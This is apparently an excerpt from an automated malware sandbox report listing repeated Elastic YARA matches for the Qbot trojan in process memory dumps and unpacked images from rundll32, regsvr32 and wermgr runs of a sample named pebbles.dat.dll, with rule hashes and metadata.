Source: 5.3.rundll32.exe.2d60000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 5.3.rundll32.exe.2d60000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 8.0.wermgr.exe.12a0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 8.0.wermgr.exe.12a0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 00000007.00000002.270568639.0000000000E40000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 00000007.00000002.270568639.0000000000E40000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 00000004.00000002.269061857.0000000004450000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 00000004.00000002.269061857.0000000004450000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 00000007.00000000.268101186.0000000000E40000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 00000007.00000000.268101186.0000000000E40000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 00000004.00000003.261746477.0000000004430000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 00000004.00000003.261746477.0000000004430000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 00000008.00000000.268192549.00000000012A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 00000008.00000000.268192549.00000000012A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 00000003.00000003.261366767.0000000000590000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 00000003.00000003.261366767.0000000000590000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 00000009.00000002.270604125.0000000000970000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 00000009.00000002.270604125.0000000000970000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 00000005.00000003.261991952.0000000002D60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 00000005.00000003.261991952.0000000002D60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 00000009.00000000.268299338.0000000000970000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 00000009.00000000.268299338.0000000000970000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 00000005.00000002.268833263.0000000002EE0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 00000005.00000002.268833263.0000000002EE0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown

Source: pebbles.dat.dll

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE, DLL

Source: 9.2.wermgr.exe.970000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 9.2.wermgr.exe.970000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 3.2.regsvr32.exe.990000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 3.2.regsvr32.exe.990000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 4.2.rundll32.exe.4450000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 4.2.rundll32.exe.4450000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 7.0.wermgr.exe.e40000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 7.0.wermgr.exe.e40000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 5.2.rundll32.exe.2ee0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 5.2.rundll32.exe.2ee0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 4.3.rundll32.exe.4430000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 4.3.rundll32.exe.4430000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 7.0.wermgr.exe.e40000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 7.0.wermgr.exe.e40000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 3.3.regsvr32.exe.590000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 3.3.regsvr32.exe.590000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 8.0.wermgr.exe.12a0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 8.0.wermgr.exe.12a0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 4.2.rundll32.exe.4450000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 4.2.rundll32.exe.4450000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 3.3.regsvr32.exe.590000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 3.3.regsvr32.exe.590000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 9.2.wermgr.exe.970000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 9.2.wermgr.exe.970000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 7.2.wermgr.exe.e40000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 7.2.wermgr.exe.e40000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 9.0.wermgr.exe.970000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 9.0.wermgr.exe.970000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 9.0.wermgr.exe.970000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 9.0.wermgr.exe.970000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 5.3.rundll32.exe.2d60000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 5.3.rundll32.exe.2d60000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 4.3.rundll32.exe.4430000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 4.3.rundll32.exe.4430000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 5.2.rundll32.exe.2ee0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 5.2.rundll32.exe.2ee0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 3.2.regsvr32.exe.990000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 3.2.regsvr32.exe.990000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 7.2.wermgr.exe.e40000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 7.2.wermgr.exe.e40000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 5.3.rundll32.exe.2d60000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 5.3.rundll32.exe.2d60000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 8.0.wermgr.exe.12a0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 8.0.wermgr.exe.12a0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 00000007.00000002.270568639.0000000000E40000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 00000007.00000002.270568639.0000000000E40000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
